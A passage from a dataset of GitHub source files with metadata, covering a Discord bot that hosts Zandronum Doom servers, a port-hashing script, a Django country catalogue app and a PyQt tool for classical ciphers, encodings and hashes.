"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 1519,
"license_type": "permissive",
"max_line_length": 129,
"num_lines": 52,
"path": "/README.md",
"repo_name": "Krankdud/cantdrown",
"src_encoding": "UTF-8",
"text": "# cantdrown\n\nDiscord bot for a personal server. Used to host [Zandronum](https://wwww.zandronum.com) servers.\n\n## Usage\n\n```bash\ngit clone https://github.com/Krankdud/cantdrown\nvirtualenv venv\n. venv/bin/activate\npip install -r requirements.txt\npython bot.py <token>\n```\ntoken is your Discord bot token from the [Discord Developer Application Portal](https://discordapp.com/developers/applications/).\n\n## Commands\n\n```\n!host <iwad> <idgames url> - Hosts a Zandronum server\n!host <iwad> - Use with a zip file attachment to host a Zandronum server\n!role <role> - Add or remove a role to yourself\n```\n\n## Configuration\n\n### Doom\n\nEdit the config/doom.json file in the config folder to configure the Zandronum server settings.\n\nSetting | Explanation\n------- | -----------\nzandronum | Command to run Zandronum\nserverArguments | Additional arguments to pass to the server (e.g. executing a config)\nserverBaseName | Base name for the server. Servers are hosted with the name \"\\<serverBaseName\\> (\\<wad name\\>)\"\niwads | Object mapping the names of the iwad to the path of the iwad\nwadsDirectory | Path to the directory where wads are stored\nidgamesMirror | URL of an idgames archive mirror that is used to download wads\n\n### Roles\n\nAdd roles for the bot to manage in config/roles.json.\n\n```json\n{\n roles: {\n \"<role name>\": \"<role id>\"\n }\n}\n```\n\n\\<role name> is the name used in the command to add or remove the role. \n\\<role id> is the Discord id for a role. You can get this id by typing \"\\\\\\<@role>\" in Discord."
},
{
"alpha_fraction": 0.6374622583389282,
"alphanum_fraction": 0.6374622583389282,
"avg_line_length": 19.6875,
"blob_id": "b5852f4a2b0d4d21ed7f61f813d65a703924b369",
"content_id": "78b6d33cf68ad93e427898161619f377d830d3b3",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 331,
"license_type": "permissive",
"max_line_length": 33,
"num_lines": 16,
"path": "/cogs/misc.py",
"repo_name": "Krankdud/cantdrown",
"src_encoding": "UTF-8",
"text": "from discord.ext import commands\nimport logging\n\nlog = logging.getLogger('dev')\n\nclass MiscCog(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n @commands.command()\n async def drown(self, ctx):\n await ctx.send(\"I can't\")\n\ndef setup(bot):\n bot.add_cog(MiscCog(bot))\n log.info('Added misc cog')\n"
},
{
"alpha_fraction": 0.5263524651527405,
"alphanum_fraction": 0.5305353999137878,
"avg_line_length": 41.188236236572266,
"blob_id": "8bc9f2813cd779b4c83fdab3fdb5d5a34ecbc055",
"content_id": "3a6c0a280caf6f409e80adfabe36aec7a0cf6f81",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 7172,
"license_type": "permissive",
"max_line_length": 125,
"num_lines": 170,
"path": "/cogs/doom.py",
"repo_name": "Krankdud/cantdrown",
"src_encoding": "UTF-8",
"text": "import aiohttp\nimport asyncio\nfrom discord.ext import commands\nimport io\nimport json\nimport logging\nimport re\nimport subprocess\nfrom urllib.parse import parse_qs, urlparse, urlunparse\nimport zipfile\n\nlog = logging.getLogger('dev')\n\nclass DoomCog(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n # Doom configuration initialization\n with open('config/doom.json', 'r') as f:\n self.config = json.load(f)\n log.info('Doom configuration loaded')\n\n @commands.command()\n async def host(self, ctx, *args):\n if len(args) == 0:\n await self.host_help(ctx)\n return\n\n if len(args) == 1 and len(ctx.message.attachments) == 0:\n await self.host_help(ctx)\n return\n\n iwad = args[0].lower()\n if iwad not in self.config['iwads']:\n await ctx.send('Invalid IWAD')\n await self.host_help(ctx)\n return\n\n url = ''\n urlIsZip = False\n gameName = ''\n if len(args) == 1:\n attachment = ctx.message.attachments[0]\n url = attachment.url\n gameName = attachment.filename.split('.')[0]\n else:\n fileURL = urlparse(args[1])\n if 'doomworld' in fileURL.netloc:\n log.info('Obtaining wad from idgames mirror...')\n idgames = args[1]\n match = re.search('doomworld\\\\.com\\\\/idgames', idgames)\n if not match:\n await ctx.send('Invalid idgames url')\n await self.host_help(ctx)\n return\n url = self.config['idgamesMirror'] + idgames[match.end():] + '.zip'\n gameName = idgames.split('/')[-1]\n urlIsZip = True\n elif 'dropbox.com' in fileURL.netloc:\n log.info('Obtaining wad from Dropbox...')\n url = urlunparse((fileURL.scheme, fileURL.netloc, fileURL.path, fileURL.params, 'raw=1', fileURL.fragment))\n elif 'drive.google.com' in fileURL.netloc:\n log.info('Obtaining wad from Google Drive...')\n googleDriveId = ''\n if fileURL.path == '/open':\n qs = parse_qs(fileURL.query)\n googleDriveId = qs['id'][0]\n elif 'file/d' in fileURL.path:\n googleDriveId = fileURL.path.split('/')[3]\n else:\n await ctx.send('Invalid Google Drive url')\n await self.host_help(ctx)\n return\n url = 'https://drive.google.com/uc?export=download&id={0}'.format(googleDriveId)\n else:\n url = fileURL\n\n wads = []\n log.info('Attempting to download wad from {}'.format(url))\n async with aiohttp.ClientSession() as session:\n async with session.get(url) as response:\n if response.status == 200:\n filename = ''\n # Check for Content-Disposition in the response header for obtaining the filename from\n # Dropbox and Google Drive downloads\n if 'Content-Disposition' in response.headers:\n match = re.search('filename=\"(.*)\"', response.headers['Content-Disposition'])\n filename = match.group(1)\n gameName = filename[:-4]\n if filename[-4:].lower() == '.zip':\n urlIsZip = True\n\n if urlIsZip:\n # This is synchronous which could potentially cause problems, but since\n # the bot only serves one server, I'm not going to worry about it now.\n with zipfile.ZipFile(io.BytesIO(await response.read()), 'r') as wadZip:\n for name in wadZip.namelist():\n if name in self.config['excludeWads']:\n continue\n\n if name[-4:].lower() == '.wad' or name[-4:].lower() == '.pk3' or name[-4:].lower() == '.deh':\n wadZip.extract(name, self.config['wadsDirectory'])\n wads.append(self.config['wadsDirectory'] + '/' + name)\n\n elif filename[-4:].lower() == '.wad' or filename[-4:].lower == '.pk3':\n path = self.config['wadsDirectory'] + '/' + filename\n wads.append(path)\n with open(path, mode='wb') as f:\n f.write(await response.read())\n else:\n log.warning('Could not download wad from {0}, response status: {1}'.format(url, response.status))\n ctx.send('Could not download the wad')\n\n # Check that we have extracted wads before starting the server\n if len(wads) == 0:\n await ctx.send('No wads found in the zip file')\n return\n\n # Build the command to run the server\n serverName = self.config['serverBaseName'] + ' ({})'.format(gameName) \n cmd = [\n self.config['zandronum'],\n '-host',\n '-iwad',\n self.config['iwads'][iwad],\n ]\n for wad in wads:\n cmd.append('-file')\n cmd.append(wad)\n cmd.append(self.config['serverArguments'])\n cmd.append('+sv_hostname')\n cmd.append(serverName)\n\n # Start the server and notify the users\n log.info('Running command to start server: {}'.format(cmd))\n process = subprocess.Popen(cmd)\n await ctx.send('Created Zandronum server \"{}\", have fun!'.format(serverName))\n await self.kill_server(process)\n\n @host.error\n async def host_error(self, ctx, error):\n if isinstance(error, commands.MissingRequiredArgument) or isinstance(error, commands.TooManyArguments):\n await ctx.send('There are either too many arguments, or an argument is missing')\n await self.host_help(ctx)\n elif isinstance(error, commands.CommandInvokeError) and isinstance(error.original, zipfile.BadZipFile):\n await ctx.send('The attachment is not a zip file')\n await self.host_help(ctx)\n else:\n log.error(error)\n await ctx.send('An error occurred when trying to host.')\n\n async def host_help(self, ctx):\n helpMsg = '```Usage:\\n'\n helpMsg += '!host <iwad> <url> - Host a wad from either the idgames archive, Dropbox, or Google Drive\\n'\n helpMsg += '!host <iwad> - Use with an attached zip file to host the contained wad\\n'\n helpMsg += '\\nValid iwads:'\n for iwad in self.config['iwads']:\n helpMsg += '\\n{}'.format(iwad)\n helpMsg += '```'\n await ctx.send(helpMsg)\n\n async def kill_server(self, process):\n await asyncio.sleep(self.config[\"timeout\"])\n if process.poll() == None:\n log.info('Terminating process {}'.format(process.pid))\n process.terminate()\n\ndef setup(bot):\n bot.add_cog(DoomCog(bot))\n log.info('Added Doom cog')\n"
}
] | 5 |
szhu/porthash | https://github.com/szhu/porthash | a63f1665f7886b9e7ed30f0acba9dfccfc24d02d | db63b303ec734abde7702c2f87b144ba6409fcb7 | 985970f4712ed3716d03817c3c8f72e20ca60c83 | refs/heads/master | 2023-06-08T11:56:39.614139 | 2023-05-29T22:50:33 | 2023-05-29T22:50:33 | 18,307,021 | 2 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.698924720287323,
"alphanum_fraction": 0.698924720287323,
"avg_line_length": 22.25,
"blob_id": "c5b102499c8c9b76f773d7a02fa11c8ffcf24daa",
"content_id": "8f4fc516cedac575dd1736640ca8b8189245c0a5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 93,
"license_type": "no_license",
"max_line_length": 73,
"num_lines": 4,
"path": "/README.md",
"repo_name": "szhu/porthash",
"src_encoding": "UTF-8",
"text": "porthash\n========\n\nCan't figure out what port number to use for your local webapp? Fret not!\n"
},
{
"alpha_fraction": 0.5529196858406067,
"alphanum_fraction": 0.5948905348777771,
"avg_line_length": 20.920000076293945,
"blob_id": "cdc13abcc89eff76c88728fdea883345a3c1b58f",
"content_id": "bf8d3cb7b4c0d96df66f61ab65140428f07ac344",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 548,
"license_type": "no_license",
"max_line_length": 52,
"num_lines": 25,
"path": "/bin/porthash",
"repo_name": "szhu/porthash",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python3\n\ndef str_int_range_hash(s, min, max):\n from hashlib import md5\n hash_int = int(md5(s).hexdigest(), 16)\n return hash_int % (1 + max - min) + min\n\nMIN_PORT = 1024\nMAX_PORT = 65535\ndef port_hash(s):\n return str_int_range_hash(s, MIN_PORT, MAX_PORT)\n\nMIN_IP = 128\nMAX_IP = 255\ndef ip_hash(s):\n return str_int_range_hash(s, MIN_IP, MAX_IP)\n\ndef main(u):\n s = u.encode('utf-8')\n print('port:', port_hash(s))\n print('ip:', ip_hash(s))\n\nif __name__ == '__main__':\n from sys import argv\n main(*argv[1:])\n"
}
] | 2 |
rahulbir881/Country_project | https://github.com/rahulbir881/Country_project | b1965974fe1e41e216ecabd93527298b18f9bffb | c3ce522064db9127afb961adaeb1fa8136ee9027 | d1ae7995e1882b9498878e36899553310507aec1 | refs/heads/master | 2022-09-24T11:17:37.021512 | 2020-05-27T16:41:16 | 2020-05-27T16:41:16 | 267,228,786 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6571056246757507,
"alphanum_fraction": 0.6571056246757507,
"avg_line_length": 22.875,
"blob_id": "6892af7f303a1c6f5755a9d801e967a2d047f845",
"content_id": "081c090a43d7244e2954a3adc4de72bc180f7337",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 767,
"license_type": "no_license",
"max_line_length": 51,
"num_lines": 32,
"path": "/country_app/views.py",
"repo_name": "rahulbir881/Country_project",
"src_encoding": "UTF-8",
"text": "from django.shortcuts import render\nfrom.models import *\n\n# Create your views here.\ndef home(request):\n country=Country.objects.all()\n continent=Continent.objects.all()\n context={\n 'country':country,\n 'continent':continent\n }\n return render(request,'index.html',context)\n\ndef country(request,cid):\n continent = Continent.objects.all()\n cat = Continent.objects.get(pk=cid)\n\n country=Country.objects.filter(continent=cat)\n\n context = {\n 'country': country,\n 'continent': continent\n }\n return render(request, 'index.html', context)\n\ndef details(request,cid):\n country = Country.objects.filter(pk=cid)\n context = {\n 'country':country,\n\n }\n return render(request, 'details.html', context)\n\n\n\n"
},
{
"alpha_fraction": 0.8173912763595581,
"alphanum_fraction": 0.8173912763595581,
"avg_line_length": 22,
"blob_id": "a8e52f735f41625e5bcf994e9b22adebe1e1e774",
"content_id": "edcccd4e72adad6a51b234614649ee89e34a53b5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 115,
"license_type": "no_license",
"max_line_length": 32,
"num_lines": 5,
"path": "/country_app/admin.py",
"repo_name": "rahulbir881/Country_project",
"src_encoding": "UTF-8",
"text": "from django.contrib import admin\nfrom.models import *\n\nadmin.site.register(Continent)\nadmin.site.register(Country)\n"
},
{
"alpha_fraction": 0.6622806787490845,
"alphanum_fraction": 0.6622806787490845,
"avg_line_length": 31.571428298950195,
"blob_id": "3ef71414738e31ef3ca01dbb11d84eb612db6719",
"content_id": "02012d9a6840eeba6cce5f9fa3de375ce44e21ee",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 228,
"license_type": "no_license",
"max_line_length": 62,
"num_lines": 7,
"path": "/country_app/urls.py",
"repo_name": "rahulbir881/Country_project",
"src_encoding": "UTF-8",
"text": "from django.urls import path\nfrom.import views\nurlpatterns = [\n path('',views.home,name='home'),\n path('country/<int:cid>/', views.country, name='country'),\n path('details/<int:cid>/', views.details, name='details'),\n]\n"
},
{
"alpha_fraction": 0.6275579929351807,
"alphanum_fraction": 0.639836311340332,
"avg_line_length": 25.178571701049805,
"blob_id": "8f1131466f8ee4cc97664b02ca40c701537fe73e",
"content_id": "bf8522ea2a130e3bd3de81fa13ade114ad8347f2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 733,
"license_type": "no_license",
"max_line_length": 67,
"num_lines": 28,
"path": "/country_app/models.py",
"repo_name": "rahulbir881/Country_project",
"src_encoding": "UTF-8",
"text": "from django.db import models\n\nclass Continent(models.Model):\n name=models.CharField(max_length=100)\n desc=models.TextField()\n\n def __str__(self):\n return self.name\n\nclass Country(models.Model):\n name=models.CharField(max_length=50)\n flag=models.ImageField(upload_to='pics')\n area=models.IntegerField()\n population=models.IntegerField()\n choices=(\n ('Europe','Europe'),\n ('Asia','Asia'),\n ('America','America'),\n ('Africa','Africa'),\n ('Ocenia','Ocenia')\n )\n\n capital=models.CharField(max_length=30)\n language=models.CharField(max_length=50)\n continent=models.ForeignKey(Continent,on_delete=models.CASCADE)\n\n def __str__(self):\n return self.name\n"
}
] | 4 |
retr00exe/crypt | https://github.com/retr00exe/crypt | 670c1bc208e945516ec26966f06798171f5fd182 | 9bdd4f9684847b37f17cbc47192618b54a7ecf41 | c7b2904d6a19f5481254a882b224d98cf4b57cc9 | refs/heads/master | 2022-08-16T17:40:56.221786 | 2020-05-23T05:28:22 | 2020-05-23T05:28:22 | 262,927,143 | 3 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6388694047927856,
"alphanum_fraction": 0.6674859523773193,
"avg_line_length": 42.81538391113281,
"blob_id": "fb5336ceb533bf4929db6976744f6499c051e51e",
"content_id": "4876432c3beeabf3a9ea857d029952e84b7ff3df",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5696,
"license_type": "no_license",
"max_line_length": 88,
"num_lines": 130,
"path": "/caesar.py",
"repo_name": "retr00exe/crypt",
"src_encoding": "UTF-8",
"text": "from PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\n\nclass Ui_CaesarWindow(object):\n def setupUi(self, CaesarWindow):\n CaesarWindow.setObjectName(\"CaesarWindow\")\n CaesarWindow.resize(420, 601)\n font = QtGui.QFont()\n font.setFamily(\"Times New Roman\")\n CaesarWindow.setFont(font)\n icon = QtGui.QIcon()\n icon.addPixmap(QtGui.QPixmap(\"caesar.jpg\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n CaesarWindow.setWindowIcon(icon)\n self.centralwidget = QtWidgets.QWidget(CaesarWindow)\n self.centralwidget.setObjectName(\"centralwidget\")\n #LABEL\n self.labelCaesar = QtWidgets.QLabel(self.centralwidget)\n self.labelCaesar.setGeometry(QtCore.QRect(20, 10, 191, 41))\n font = QtGui.QFont()\n font.setFamily(\"Times New Roman\")\n font.setPointSize(18)\n self.labelCaesar.setFont(font)\n self.labelCaesar.setObjectName(\"labelCaesar\")\n self.labelShift = QtWidgets.QLabel(self.centralwidget)\n self.labelShift.setGeometry(QtCore.QRect(20, 60, 51, 41))\n font = QtGui.QFont()\n font.setPointSize(12)\n self.labelShift.setFont(font)\n self.labelShift.setObjectName(\"labelShift\")\n\n self.labelPlainText1 = QtWidgets.QLabel(self.centralwidget)\n self.labelPlainText1.setGeometry(QtCore.QRect(20, 130, 81, 16))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.labelPlainText1.setFont(font)\n self.labelPlainText1.setObjectName(\"labelPlainText1\")\n\n self.labelCipherText1 = QtWidgets.QLabel(self.centralwidget)\n self.labelCipherText1.setGeometry(QtCore.QRect(20, 320, 131, 16))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.labelCipherText1.setFont(font)\n self.labelCipherText1.setObjectName(\"labelCipherText1\")\n\n self.spinBox = QtWidgets.QSpinBox(self.centralwidget)\n self.spinBox.setGeometry(QtCore.QRect(80, 70, 51, 25))\n self.spinBox.setObjectName(\"spinBox\")\n\n self.textEditPlainText1 = QtWidgets.QTextEdit(self.centralwidget)\n self.textEditPlainText1.setGeometry(QtCore.QRect(20, 150, 371, 151))\n self.textEditPlainText1.setObjectName(\"textEditPlainText1\")\n font = QtGui.QFont()\n font.setPointSize(10)\n self.textEditPlainText1.setFont(font)\n\n self.textEditCipherText1 = QtWidgets.QTextEdit(self.centralwidget)\n self.textEditCipherText1.setGeometry(QtCore.QRect(20, 340, 371, 151))\n self.textEditCipherText1.setObjectName(\"textEditCipherText1\")\n font = QtGui.QFont()\n font.setPointSize(10)\n self.textEditCipherText1.setFont(font)\n\n self.pushButtonEncrypt = QtWidgets.QPushButton(self.centralwidget)\n self.pushButtonEncrypt.setGeometry(QtCore.QRect(20, 510, 93, 28))\n self.pushButtonEncrypt.setObjectName(\"pushButtonEncrypt\")\n self.pushButtonEncrypt.clicked.connect(self.encrypt)\n\n self.pushButtonDecrypt = QtWidgets.QPushButton(self.centralwidget)\n self.pushButtonDecrypt.setGeometry(QtCore.QRect(130, 510, 93, 28))\n self.pushButtonDecrypt.setObjectName(\"pushButtonDecrypt\")\n self.pushButtonDecrypt.clicked.connect(self.decrypt)\n\n CaesarWindow.setCentralWidget(self.centralwidget)\n self.menubar = QtWidgets.QMenuBar(CaesarWindow)\n self.menubar.setGeometry(QtCore.QRect(0, 0, 420, 23))\n self.menubar.setObjectName(\"menubar\")\n CaesarWindow.setMenuBar(self.menubar)\n self.statusbar = QtWidgets.QStatusBar(CaesarWindow)\n self.statusbar.setObjectName(\"statusbar\")\n CaesarWindow.setStatusBar(self.statusbar)\n\n self.retranslateUi(CaesarWindow)\n QtCore.QMetaObject.connectSlotsByName(CaesarWindow)\n\n def retranslateUi(self, CaesarWindow):\n _translate = QtCore.QCoreApplication.translate\n CaesarWindow.setWindowTitle(_translate(\"CaesarWindow\", \"Caesar Cipher\"))\n self.labelCaesar.setText(_translate(\"CaesarWindow\", \"Caesar Cipher\"))\n self.labelShift.setText(_translate(\"CaesarWindow\", \"Shift :\"))\n self.labelPlainText1.setText(_translate(\"CaesarWindow\", \"Input\"))\n self.labelCipherText1.setText(_translate(\"CaesarWindow\", \"Output\"))\n self.pushButtonEncrypt.setText(_translate(\"CaesarWindow\", \"Encrypt\"))\n self.pushButtonDecrypt.setText(_translate(\"CaesarWindow\", \"Decrypt\"))\n \n def encrypt(self): \n textboxValue = self.textEditPlainText1.toPlainText()\n shift = self.spinBox.value()\n encrypted = \"\" \n for char in textboxValue:\n if char == ' ':\n encrypted = encrypted + char\n elif char.isupper():\n encrypted = encrypted + chr((ord(char) + shift - 65) % 26 + 65)\n else:\n encrypted = encrypted + chr((ord(char) + shift - 97) % 26 + 97)\n self.textEditCipherText1.setText(encrypted)\n\n def decrypt(self):\n textboxValue = self.textEditPlainText1.toPlainText()\n shift = self.spinBox.value()\n decrypted = \"\" \n for char in textboxValue:\n if char == ' ':\n decrypted = decrypted + char\n elif char.isupper():\n decrypted = decrypted + chr((ord(char) - shift - 65) % 26 + 65)\n else:\n decrypted = decrypted + chr((ord(char) - shift - 97) % 26 + 97)\n self.textEditCipherText1.setText(decrypted)\n\n\nif __name__ == \"__main__\":\n import sys\n app = QtWidgets.QApplication(sys.argv)\n CaesarWindow = QtWidgets.QMainWindow()\n ui = Ui_CaesarWindow()\n ui.setupUi(CaesarWindow)\n CaesarWindow.show()\n sys.exit(app.exec_())\n"
},
{
"alpha_fraction": 0.5730061531066895,
"alphanum_fraction": 0.6601226925849915,
"avg_line_length": 16.340425491333008,
"blob_id": "afb1ad61995333975a1e619db791a7a09c0396b6",
"content_id": "52f3a975e328f244dd735b73612fe33820cfe0c0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 816,
"license_type": "no_license",
"max_line_length": 72,
"num_lines": 47,
"path": "/README.md",
"repo_name": "retr00exe/crypt",
"src_encoding": "UTF-8",
"text": "# Enkripsi dan Dekripsi Kriptografi\nTugas Akhir PDKP <br>\nErandri Mekel Ilyasa <br>\n21120119130108 <br>\n\nPython version 3.8.1 <br>\nGUI platform PyQt5 <br>\n\nInstall PyQt5\n```\npip install pyqt5\npip install pyqt5-tools\n```\nRun program\n```\npython crypt.py\n```\n\n# Fitur encoding, enkripsi & hashing\nBase64 <br>\nBase32 <br>\nBase16 <br>\nAscii85 <br>\nASCII <br>\nReverse <br>\nROT13 <br>\nMD5 <br>\nSHA-1 <br>\nSHA-224 <br>\nSHA-256 <br>\nSHA-384 <br>\nSHA-512 <br>\nCaesar Cipher <br>\nVigenère Cipher <br>\nRSA (Coming soon) <br>\nAES (Coming soon) <br>\n\n# Example\n**Caesar Cipher** <br>\n<img src=\"Image/1.png\" width=\"40%\" height=\"40%\" alt=\"Caesar Cipher\"><br>\n<br>\n**Base64** <br>\n<img src=\"Image/base64.png\" width=\"80%\" height=\"80%\" alt=\"Base64\"><br>\n<br>\n**SHA-512** <br>\n<img src=\"Image/3.png\" width=\"80%\" height=\"80%\" alt=\"SHA-512\"><br>\n<br>\n"
},
{
"alpha_fraction": 0.6355061531066895,
"alphanum_fraction": 0.6581606864929199,
"avg_line_length": 48.47916793823242,
"blob_id": "449b9c70905b19daf320a06a04d2bdbb333fd65c",
"content_id": "7908aa6d603087300540514a33da6cddc31e3222",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 11876,
"license_type": "no_license",
"max_line_length": 153,
"num_lines": 240,
"path": "/crypt.py",
"repo_name": "retr00exe/crypt",
"src_encoding": "UTF-8",
"text": "from PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtWidgets import QApplication, qApp, QMessageBox\nfrom encrypt import *\nfrom decrypt import *\nfrom caesar import *\nfrom vigenere import *\n\nclass UI_MainWindow(object):\n listJenis = [\"Base64\",\"Base32\",\"Base16\",\"Ascii85\",\"ASCII\",\"Reverse\",\"ROT13\",\"MD5\",\"SHA-1\",\"SHA-224\",\"SHA-256\",\"SHA-384\",\"SHA-512\"]\n def setupUI(self, MainWindow):\n MainWindow.setObjectName(\"MainWindow\")\n MainWindow.resize(950, 600)\n self.centralwidget = QtWidgets.QWidget(MainWindow)\n self.centralwidget.setObjectName(\"centralwidget\")\n\n self.comboBoxPilihJenis = QtWidgets.QComboBox(self.centralwidget)\n self.comboBoxPilihJenis.setGeometry(QtCore.QRect(30, 35, 240, 30))\n self.comboBoxPilihJenis.setObjectName(\"comboBoxPilihJenis\")\n for jenis in self.listJenis:\n self.comboBoxPilihJenis.addItem(jenis)\n inputComboBox = self.comboBoxPilihJenis.currentText()\n self.comboBoxPilihJenis.currentIndexChanged.connect(self.disableHash)\n \n#=======================================================================================================================================================#\n#LABEL\n self.labelPilihAlgoritma = QtWidgets.QLabel(self.centralwidget)\n self.labelPilihAlgoritma.setGeometry(QtCore.QRect(30, 5, 230, 30))\n self.labelPilihAlgoritma.setObjectName(\"labelPilihAlgoritma\")\n \n self.labelPlainText1 = QtWidgets.QLabel(self.centralwidget)\n self.labelPlainText1.setGeometry(QtCore.QRect(30, 80, 55, 20))\n self.labelPlainText1.setObjectName(\"labelPlainText1\")\n \n self.labelPlainText2 = QtWidgets.QLabel(self.centralwidget)\n self.labelPlainText2.setGeometry(QtCore.QRect(530, 290, 55, 20))\n self.labelPlainText2.setObjectName(\"labelPlainText2\")\n\n self.labelEncryptedText1 = QtWidgets.QLabel(self.centralwidget)\n self.labelEncryptedText1.setGeometry(QtCore.QRect(30, 290, 230, 15))\n self.labelEncryptedText1.setObjectName(\"labelEncryptedText1\")\n \n self.labelEncryptedText2 = QtWidgets.QLabel(self.centralwidget)\n self.labelEncryptedText2.setGeometry(QtCore.QRect(530, 80, 230, 15))\n self.labelEncryptedText2.setObjectName(\"labelEncryptedText2\")\n\n self.labelKriptografiKlasik = QtWidgets.QLabel(self.centralwidget)\n self.labelKriptografiKlasik.setGeometry(QtCore.QRect(30, 460, 230, 30))\n self.labelKriptografiKlasik.setObjectName(\"labelKriptografiKlasik\")\n \n#=======================================================================================================================================================#\n#ENCRYPT\n self.textEditPlainText1 = QtWidgets.QTextEdit(self.centralwidget)\n self.textEditPlainText1.setGeometry(QtCore.QRect(30, 110, 390, 110))\n self.textEditPlainText1.setObjectName(\"textEditPlainText1\")\n\n self.pushButtonEncrypt = QtWidgets.QPushButton(self.centralwidget)\n self.pushButtonEncrypt.setGeometry(QtCore.QRect(30, 230, 140, 30))\n self.pushButtonEncrypt.setIconSize(QtCore.QSize(20, 20))\n self.pushButtonEncrypt.setObjectName(\"pushButtonEncrypt\")\n self.pushButtonEncrypt.clicked.connect(self.encrypt)\n\n self.textEditEncryptedText1 = QtWidgets.QTextEdit(self.centralwidget)\n self.textEditEncryptedText1.setGeometry(QtCore.QRect(30, 320, 390, 110))\n self.textEditEncryptedText1.setObjectName(\"textEditEncryptedText1\")\n\n#=======================================================================================================================================================#\n#DECRYPT\n self.textEditEncryptedText2 = QtWidgets.QTextEdit(self.centralwidget)\n self.textEditEncryptedText2.setGeometry(QtCore.QRect(530, 110, 390, 110))\n self.textEditEncryptedText2.setObjectName(\"textEditEncryptedText2\")\n\n self.pushButtonDecrypt = QtWidgets.QPushButton(self.centralwidget)\n self.pushButtonDecrypt.setGeometry(QtCore.QRect(530, 230, 140, 30))\n self.pushButtonDecrypt.setIconSize(QtCore.QSize(20, 20))\n self.pushButtonDecrypt.setObjectName(\"pushButtonDecrypt\")\n self.pushButtonDecrypt.clicked.connect(self.decrypt)\n\n self.textEditPlainText2 = QtWidgets.QTextEdit(self.centralwidget)\n self.textEditPlainText2.setGeometry(QtCore.QRect(530, 320, 390, 110))\n self.textEditPlainText2.setObjectName(\"textEditPlainText2\")\n\n#=======================================================================================================================================================#\n#CLASSIC CRYPTOGRAPHY\n #CAESAR\n self.pushButtonCaesar = QtWidgets.QPushButton(self.centralwidget)\n self.pushButtonCaesar.setGeometry(QtCore.QRect(30, 500, 140, 45))\n self.pushButtonCaesar.setIconSize(QtCore.QSize(20, 20))\n self.pushButtonCaesar.setObjectName(\"pushButtonCaesar\")\n self.pushButtonCaesar.clicked.connect(self.openCaesarWindow)\n\n #VIGENERE\n self.pushButtonVigenere = QtWidgets.QPushButton(self.centralwidget)\n self.pushButtonVigenere.setGeometry(QtCore.QRect(200, 500, 140, 45))\n self.pushButtonVigenere.setIconSize(QtCore.QSize(20, 20))\n self.pushButtonVigenere.setObjectName(\"pushButtonVigenere\")\n self.pushButtonVigenere.clicked.connect(self.openVigenereWindow)\n\n#=======================================================================================================================================================#\n#MENUBAR\n MainWindow.setCentralWidget(self.centralwidget)\n self.menubar = QtWidgets.QMenuBar(MainWindow)\n self.menubar.setGeometry(QtCore.QRect(0, 0, 1020, 25))\n self.menubar.setObjectName(\"menubar\")\n\n self.menu = QtWidgets.QMenu(self.menubar)\n self.menu.setObjectName(\"menu\")\n self.edit = QtWidgets.QMenu(self.menubar)\n self.edit.setObjectName(\"edit\")\n self.navigate = QtWidgets.QMenu(self.menubar)\n self.navigate.setObjectName(\"navigate\")\n MainWindow.setMenuBar(self.menubar)\n\n self.statusbar = QtWidgets.QStatusBar(MainWindow)\n self.statusbar.setObjectName(\"statusbar\")\n MainWindow.setStatusBar(self.statusbar)\n\n self.actionQuit = QtWidgets.QAction(MainWindow)\n self.actionQuit.setObjectName(\"actionQuit\")\n self.actionQuit.setShortcut(\"Ctrl+Q\")\n self.actionQuit.triggered.connect(qApp.quit)\n \n self.actionCopy = QtWidgets.QAction(MainWindow)\n self.actionCopy.setShortcut(\"Ctrl+C\")\n self.actionCopy.setObjectName(\"actionCopy\")\n\n self.actionPaste = QtWidgets.QAction(MainWindow)\n self.actionPaste.setShortcut(\"Ctrl+V\")\n self.actionPaste.setObjectName(\"actionPaste\")\n\n self.actionCut = QtWidgets.QAction(MainWindow)\n self.actionCut.setShortcut(\"Ctrl+X\")\n self.actionCut.setObjectName(\"actionCut\")\n\n self.actionCaesar = QtWidgets.QAction(MainWindow)\n self.actionCaesar.setObjectName(\"actionCaesar\")\n self.actionCaesar.triggered.connect(self.openCaesarWindow)\n\n self.actionVigenere = QtWidgets.QAction(MainWindow)\n self.actionVigenere.setObjectName(\"actionVigenere\")\n self.actionVigenere.triggered.connect(self.openVigenereWindow)\n\n self.menu.addAction(self.actionQuit)\n\n self.edit.addAction(self.actionCopy)\n self.edit.addAction(self.actionPaste)\n self.edit.addAction(self.actionCut)\n\n self.navigate.addAction(self.actionCaesar)\n self.navigate.addAction(self.actionVigenere)\n\n self.menubar.addAction(self.menu.menuAction())\n self.menubar.addAction(self.edit.menuAction())\n self.menubar.addAction(self.navigate.menuAction())\n \n self.retranslateUI(MainWindow)\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\n\n def retranslateUI(self, MainWindow):\n _translate = QtCore.QCoreApplication.translate\n 